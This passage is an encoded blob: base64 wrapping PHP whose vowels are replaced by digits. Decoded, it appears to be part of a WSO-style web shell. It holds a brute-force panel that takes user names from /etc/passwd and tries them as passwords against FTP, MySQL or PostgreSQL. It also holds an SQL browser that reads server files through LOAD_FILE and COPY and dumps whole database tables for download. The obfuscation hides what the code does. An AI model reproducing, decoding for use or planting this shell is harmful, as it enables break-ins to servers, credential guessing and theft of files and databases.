zKTsgDQogICAgICAgICAgICAgICAgQG15c3FsX2NsMnM1KCRyNXMpOyANCiAgICAgICAgICAgICAgICByNXQzcm4gJHI1czsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IDVsczU0ZiggJF9QT1NUWydwcjJ0MiddID09ICdwZ3NxbCcgKSB7IA0KICAgICAgICAgICAgZjNuY3Q0Mm4gYnIzdDVGMnJjNSgkNHAsJHAycnQsJGwyZzRuLCRwMXNzKSB7IA0KICAgICAgICAgICAgICAgICRzdHIgPSAiaDJzdD0nIi4kNHAuIicgcDJydD0nIi4kcDJydC4iJyAzczVyPSciLiRsMmc0bi4iJyBwMXNzdzJyZD0nIi4kcDFzcy4iJyBkYm4xbTU9cDJzdGdyNXMiOyANCiAgICAgICAgICAgICAgICAkcjVzID0gQHBnX2Mybm41Y3QoJHN0cik7IA0KICAgICAgICAgICAgICAgIEBwZ19jbDJzNSgkcjVzKTsgDQogICAgICAgICAgICAgICAgcjV0M3JuICRyNXM7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgJHMzY2M1c3MgPSAwOyANCiAgICAgICAgJDF0dDVtcHRzID0gMDsgDQogICAgICAgICRzNXJ2NXIgPSA1eHBsMmQ1KCI6IiwgJF9QT1NUWydzNXJ2NXInXSk7IA0KICAgICAgICA0ZigkX1BPU1RbJ3R5cDUnXSA9PSA2KSB7IA0KICAgICAgICAgICAgJHQ1bXAgPSBAZjRsNSgnLzV0Yy9wMXNzd2QnKTsgDQogICAgICAgICAgICA0ZiggNHNfMXJyMXkoJHQ1bXApICkgDQogICAgICAgICAgICAgICAgZjJyNTFjaCgkdDVtcCAxcyAkbDRuNSkgeyANCiAgICAgICAgICAgICAgICAgICAgJGw0bjUgPSA1eHBsMmQ1KCI6IiwgJGw0bjUpOyANCiAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7IA0KICAgICAgICAgICAgICAgICAgICA0ZiggYnIzdDVGMnJjNShAJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJGw0bjVbMF0sICRsNG41WzBdKSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkczNjYzVzcysrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPGJyPic7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICA0ZihAJF9QT1NUWydyNXY1cnM1J10pIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZjJyKCQ0PXN0cmw1bigkbDRuNVswXSktNjsgJDQ+PTA7IC0tJDQpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgLj0gJGw0bjVbMF1bJDRdOyANCiAgICAgICAgICAgICAgICAgICAgICAgICsrJDF0dDVtcHRzOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCBicjN0NUYycmM1KEAkczVydjVyWzBdLEAkczVydjVyWzZdLCAkbDRuNVswXSwgJHRtcCkgKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzM2NjNXNzKys7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkbDRuNVswXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCR0bXApOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgfSA1bHM1NGYoJF9QT1NUWyd0eXA1J10gPT0gYSkgeyANCiAgICAgICAgICAgICR0NW1wID0gQGY0bDUoJF9QT1NUWydkNGN0J10pOyANCiAgICAgICAgICAgIDRmKCA0c18xcnIxeSgkdDVtcCkgKSANCiAgICAgICAgICAgICAgICBmMnI1MWNoKCR0NW1wIDFzICRsNG41KSB7IA0KICAgICAgICAgICAgICAgICAgICAkbDRuNSA9IHRyNG0oJGw0bjUpOyANCiAgICAgICAgICAgICAgICAgICAgKyskMXR0NW1wdHM7IA0KICAgICAgICAgICAgICAgICAgICA0ZiggYnIzdDVGMnJjNSgkczVydjVyWzBdLEAkczVydjVyWzZdLCAkX1BPU1RbJ2wyZzRuJ10sICRsNG41KSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkczNjYzVzcysrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxiPicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2wyZzRuJ10pLic8L2I+OicuaHRtbHNwNWM0MWxjaDFycygkbDRuNSkuJzxicj4nOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICA1Y2gyICI8c3Axbj5BdHQ1bXB0czo8L3NwMW4+ICQxdHQ1bXB0cyA8c3Axbj5TM2NjNXNzOjwvc3Axbj4gJHMzY2M1c3M8L2Q0dj48YnI+IjsgDQogICAgfSANCiAgICA1Y2gyICc8aDY+RlRQIGJyM3Q1ZjJyYzU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48dDFibDU+PGYycm0gbTV0aDJkPXAyc3Q+PHRyPjx0ZD48c3Axbj5UeXA1PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48czVsNWN0IG4xbTU9cHIydDI+PDJwdDQybiB2MWwzNT1mdHA+RlRQPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1teXNxbD5NeVNxbDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9cGdzcWw+UDJzdGdyNVNxbDwvMnB0NDJuPjwvczVsNWN0PjwvdGQ+PC90cj48dHI+PHRkPicNCiAgICAgICAgLic8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSInLmh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nDQogICAgICAgIC4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnMSddKS4nIj4nDQogICAgICAgIC4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnY2gxcnM1dCddKS4nIj4nDQogICAgICAgIC4nPHNwMW4+UzVydjVyOnAycnQ8L3NwMW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zNXJ2NXIgdjFsMzU9IjZhNy4wLjAuNiI+PC90ZD48L3RyPicNCiAgICAgICAgLic8dHI+PHRkPjxzcDFuPkJyM3Q1IHR5cDU8L3NwMW4+PC90ZD4nDQogICAgICAgIC4nPHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9IjYiIGNoNWNrNWQ+IC81dGMvcDFzc3dkPC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGwxYjVsIHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT1yNXY1cnM1IHYxbDM1PTYgY2g1Y2s1ZD4gcjV2NXJzNSAobDJnNG4gLT4gbjRnMmwpPC9sMWI1bD48L3RkPjwvdHI+Jw0KICAgICAgICAuJzx0cj48dGQ+PC90ZD48dGQ+PGwxYjVsPjw0bnAzdCB0eXA1PXIxZDQyIG4xbTU9dHlwNSB2MWwzNT0iYSI+IEQ0Y3Q0Mm4xcnk8L2wxYjVsPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48L3RkPjx0ZD48dDFibDUgc3R5bDU9InAxZGQ0bmctbDVmdDo2aXB4Ij48dHI+PHRkPjxzcDFuPkwyZzRuPC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9bDJnNG4gdjFsMzU9InIyMnQiPjwvdGQ+PC90cj4nDQogICAgICAgIC4nPHRyPjx0ZD48c3Axbj5ENGN0NDJuMXJ5PC9zcDFuPjwvdGQ+Jw0KICAgICAgICAuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9ZDRjdCB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJ3Axc3N3ZC5kNGMiPjwvdGQ+PC90cj48L3QxYmw1PicNCiAgICAgICAgLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+JzsgDQogICAgNWNoMiAnPC9kNHY+PGJyPic7IA0KICAgIHdzMkYyMnQ1cigpOyANCn0gDQogIA0KZjNuY3Q0Mm4gMWN0NDJuU3FsKCkgeyANCiAgICBjbDFzcyBEYkNsMXNzIHsgDQogICAgICAgIHYxciAkdHlwNTsgDQogICAgICAgIHYxciAkbDRuazsgDQogICAgICAgIHYxciAkcjVzOyANCiAgICAgICAgZjNuY3Q0Mm4gRGJDbDFzcygkdHlwNSkgeyANCiAgICAgICAgICAgICR0aDRzLT50eXA1ID0gJHR5cDU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBjMm5uNWN0KCRoMnN0LCAkM3M1ciwgJHAxc3MsICRkYm4xbTUpeyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgIHsgDQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgNGYoICR0aDRzLT5sNG5rID0gQG15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MsdHIzNSkgKSByNXQzcm4gdHIzNTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkaDJzdCA9IDV4cGwyZDUoJzonLCAkaDJzdCk7IA0KICAgICAgICAgICAgICAgICAgICA0ZighJGgyc3RbNl0pICRoMnN0WzZdPWl1b2E7IA0KICAgICAgICAgICAgICAgICAgICA0ZiggJHRoNHMtPmw0bmsgPSBAcGdfYzJubjVjdCgiaDJzdD17JGgyc3RbMF19IHAycnQ9eyRoMnN0WzZdfSAzczVyPSQzczVyIHAxc3N3MnJkPSRwMXNzIGRibjFtNT0kZGJuMW01IikgKSByNXQzcm4gdHIzNTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBzNWw1Y3RkYigkZGIpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIDRmIChAbXlzcWxfczVsNWN0X2RiKCRkYikpcjV0M3JuIHRyMzU7IA0KICAgICAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1OyANCiAgICAgICAgfSANCiAgICAgICAgZjNuY3Q0Mm4gcTM1cnkoJHN0cikgeyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgeyANCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9IEBteXNxbF9xMzVyeSgkc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnI1cyA9IEBwZ19xMzVyeSgkdGg0cy0+bDRuaywkc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBmNXRjaCgpIHsgDQogICAgICAgICAgICAkcjVzID0gZjNuY19uM21fMXJncygpP2YzbmNfZzV0XzFyZygwKTokdGg0cy0+cjVzOyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgIHsgDQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBteXNxbF9mNXRjaF8xc3MyYygkcjVzKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX2Y1dGNoXzFzczJjKCRyNXMpOyANCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgICAgIGYzbmN0NDJuIGw0c3REYnMoKSB7IA0KICAgICAgICAgICAgc3c0dGNoKCR0aDRzLT50eXA1KSAgeyANCiAgICAgICAgICAgICAgICBjMXM1ICdteXNxbCc6IA0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5xMzVyeSgiU0hPVyBkMXQxYjFzNXMiKTsgDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgICAgIGMxczUgJ3Bnc3FsJzogDQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgZDF0bjFtNSBGUk9NIHBnX2QxdDFiMXM1IFdIRVJFIGQxdDRzdDVtcGwxdDUhPSd0JyIpOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1OyANCiAgICAgICAgfSANCiAgICAgICAgZjNuY3Q0Mm4gbDRzdFQxYmw1cygpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+cjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIFRBQkxFUycpOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoInM1bDVjdCB0MWJsNV9uMW01IGZyMm0gNG5mMnJtMXQ0Mm5fc2NoNW0xLnQxYmw1cyB3aDVyNSB0MWJsNV9zY2g1bTEgIT0gJzRuZjJybTF0NDJuX3NjaDVtMScgQU5EIHQxYmw1X3NjaDVtMSAhPSAncGdfYzF0MWwyZyciKTsgDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgICAgIGYzbmN0NDJuIDVycjJyKCkgeyANCiAgICAgICAgICAgIHN3NHRjaCgkdGg0cy0+dHlwNSkgIHsgDQogICAgICAgICAgICAgICAgYzFzNSAnbXlzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBteXNxbF81cnIycigpOyANCiAgICAgICAgICAgICAgICBicjUxazsgDQogICAgICAgICAgICAgICAgYzFzNSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIEBwZ19sMXN0XzVycjJyKCk7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBzNXRDaDFyczV0KCRzdHIpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfczV0X2NoMXJzNXQnKSkgDQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gQG15c3FsX3M1dF9jaDFyczV0KCRzdHIsICR0aDRzLT5sNG5rKTsgDQogICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5xMzVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gQHBnX3M1dF9jbDQ1bnRfNW5jMmQ0bmcoJHRoNHMtPmw0bmssICRzdHIpOyANCiAgICAgICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgICAgIGYzbmN0NDJuIGwyMWRGNGw1KCRzdHIpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+ZjV0Y2goJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLjFkZHNsMXNoNXMoJHN0cikuIicpIDFzIGY0bDUiKSk7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoIkNSRUFURSBUQUJMRSB3czJhKGY0bDUgdDV4dCk7Q09QWSB3czJhIEZST00gJyIuMWRkc2wxc2g1cygkc3RyKS4iJztzNWw1Y3QgZjRsNSBmcjJtIHdzMmE7Iik7IA0KICAgICAgICAgICAgICAgICAgICAkcj0xcnIxeSgpOyANCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDQ9JHRoNHMtPmY1dGNoKCkpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHJbXSA9ICQ0WydmNGw1J107IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ2RyMnAgdDFibDUgd3MyYScpOyANCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIDFycjF5KCdmNGw1Jz0+NG1wbDJkNSgiXG4iLCRyKSk7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByNXQzcm4gZjFsczU7IA0KICAgICAgICB9IA0KICAgICAgICBmM25jdDQybiBkM21wKCR0MWJsNSwgJGZwID0gZjFsczUpIHsgDQogICAgICAgICAgICBzdzR0Y2goJHRoNHMtPnR5cDUpICB7IA0KICAgICAgICAgICAgICAgIGMxczUgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgICRyNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0MWJsNS4nYCcpOyANCiAgICAgICAgICAgICAgICAgICAgJGNyNTF0NSA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMpOyANCiAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICRjcjUxdDVbNl0uIjtcbiI7IA0KICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gYCcuJHQxYmw1LidgJyk7IA0KICAgICAgICAgICAgICAgICAgICAkaDUxZCA9IHRyMzU7IA0KICAgICAgICAgICAgICAgICAgICB3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGMybDNtbnMgPSAxcnIxeSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJDR0NW0gMXMgJGs9PiR2KSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR2ID09IG4zbGwpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiTlVMTCI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0Zig0c19uM201cjRjKCR2KSkgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICR2OyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICInIi5AbXlzcWxfcjUxbF81c2MxcDVfc3RyNG5nKCR2KS4iJyI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zW10gPSAiYCIuJGsuImAiOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkaDUxZCkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPIGAnLiR0MWJsNS4nYCAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4iKSBWQUxVRVMgXG5cdCgiLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpJzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSBmMWxzNTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIlxuXHQsKCIuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyknOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIDRmKCEkaDUxZCkgDQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICI7XG5cbiIpOyA1bHM1IDVjaDIoIjtcblxuIik7IA0KICAgICAgICAgICAgICAgIGJyNTFrOyANCiAgICAgICAgICAgICAgICBjMXM1ICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gJy4kdDFibDUpOyANCiAgICAgICAgICAgICAgICAgICAgd2g0bDUoJDR0NW0gPSAkdGg0cy0+ZjV0Y2goKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICRjMmwzbW5zID0gMXJyMXkoKTsgDQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoKCQ0dDVtIDFzICRrPT4kdikgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAiJyIuMWRkc2wxc2g1cygkdikuIiciOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYzJsM21uc1tdID0gJGs7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdDFibDUuJyAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4nKSBWQUxVRVMgKCcuNG1wbDJkNSgiLCAiLCAkNHQ1bSkuJyk7Jy4iXG4iOyANCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgYnI1MWs7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsgDQogICAgICAgIH0gDQogICAgfTsgDQogICAgJGRiID0gbjV3IERiQ2wxc3MoJF9QT1NUWyd0eXA1J10pOyANCiAgICA0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7IA0KICAgICAgICAkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSk7IA0KICAgICAgICAkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7IA0KICAgICAgICBzdzR0Y2goJF9QT1NUWydjaDFyczV0J10pIHsgDQogICAgICAgICAgICBjMXM1ICJXNG5kMndzLTZhaTYiOiAkZGItPnM1dENoMXJzNXQoJ2NwNmFpNicpOyBicjUxazsgDQogICAgICAgICAgICBjMXM1ICJVVEYtOCI6ICRkYi0+czV0Q2gxcnM1dCgnM3RmOCcpOyBicjUxazsgDQogICAgICAgICAgICBjMXM1ICJLT0k4LVIiOiAkZGItPnM1dENoMXJzNXQoJ2syNDhyJyk7IGJyNTFrOyANCiAgICAgICAgICAgIGMxczUgIktPSTgtVSI6ICRkYi0+czV0Q2gxcnM1dCgnazI0ODMnKTsgYnI1MWs7IA0KICAgICAgICAgICAgYzFzNSAiY3A4ZWUiOiAkZGItPnM1dENoMXJzNXQoJ2NwOGVlJyk7IGJyNTFrOyANCiAgICAgICAgfSANCiAgICAgICAgNGYoNW1wdHkoJF9QT1NUWydmNGw1J10pKSB7IA0KICAgICAgICAgICAgMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOyANCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9ZDNtcC5zcWwiKTsgDQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogdDV4dC9wbDE0biIpOyANCiAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWyd0YmwnXSAxcyAkdikgDQogICAgICAgICAgICAgICAgJGRiLT5kM21wKCR2KTsgDQogICAgICAgICAgICA1eDR0OyANCiAgICAgICAgfSA1bHM1NGYoJGZwID0gQGYycDVuKCRfUE9TVFsnZjRsNSddLCAndycpKSB7IA0KICAgICAgICAgICAgZjJyNTFjaCgkX1BPU1RbJ3RibCddIDFzICR2KSANCiAgICAgICAgICAgICAgICAkZGItPmQzbXAoJHYsICRmcCk7IA0KICAgICAgICAgICAgZmNsMnM1KCRmcCk7IA0KICAgICAgICAgICAgM25zNXQoJF9QT1NUWydwYSddKTsgDQogICAgICAgIH0gNWxzNQ0KICAgICAgICAgICAgZDQ1KCc8c2NyNHB0PjFsNXJ0KCJFcnIyciEgQzFuXCd0IDJwNW4gZjRsNSIpO3c0bmQydy5oNHN0MnJ5LmIxY2soLTYpPC9zY3I0cHQ+Jyk7IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgIiANCiAgDQo8aDY+U3FsIGJyMndzNXI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4gDQo8ZjJybSBuMW01PSdzZicgbTV0aDJkPSdwMnN0JyAybnMzYm00dD0nZnModGg0cyk7Jz48dDFibDUgYzVsbHAxZGQ0bmc9J2EnIGM1bGxzcDFjNG5nPScwJz48dHI+IA0KPHRkPlR5cDU8L3RkPjx0ZD5IMnN0PC90ZD48dGQ+TDJnNG48L3RkPjx0ZD5QMXNzdzJyZDwvdGQ+PHRkPkQxdDFiMXM1PC90ZD48dGQ+PC90ZD48L3RyPjx0cj4gDQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PVNxbD48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1wNiB2MWwzNT0ncTM1cnknPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBhIHYxbDM1PScnPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykgLiInPiANCjx0ZD48czVsNWN0IG4xbTU9J3R5cDUnPjwycHQ0Mm4gdjFsMzU9J215c3FsJyAiOyANCiAgICA0ZihAJF9QT1NUWyd0eXA1J109PSdteXNxbCcpNWNoMiAnczVsNWN0NWQnOyANCjVjaDIgIj5NeVNxbDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J3Bnc3FsJyAiOyANCjRmKEAkX1BPU1RbJ3R5cDUnXT09J3Bnc3FsJyk1Y2gyICdzNWw1Y3Q1ZCc7IA0KNWNoMiAiPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPiANCjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX2gyc3QgdjFsMzU9JyIuICg1bXB0eSgkX1BPU1RbJ3NxbF9oMnN0J10pPydsMmMxbGgyc3QnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcW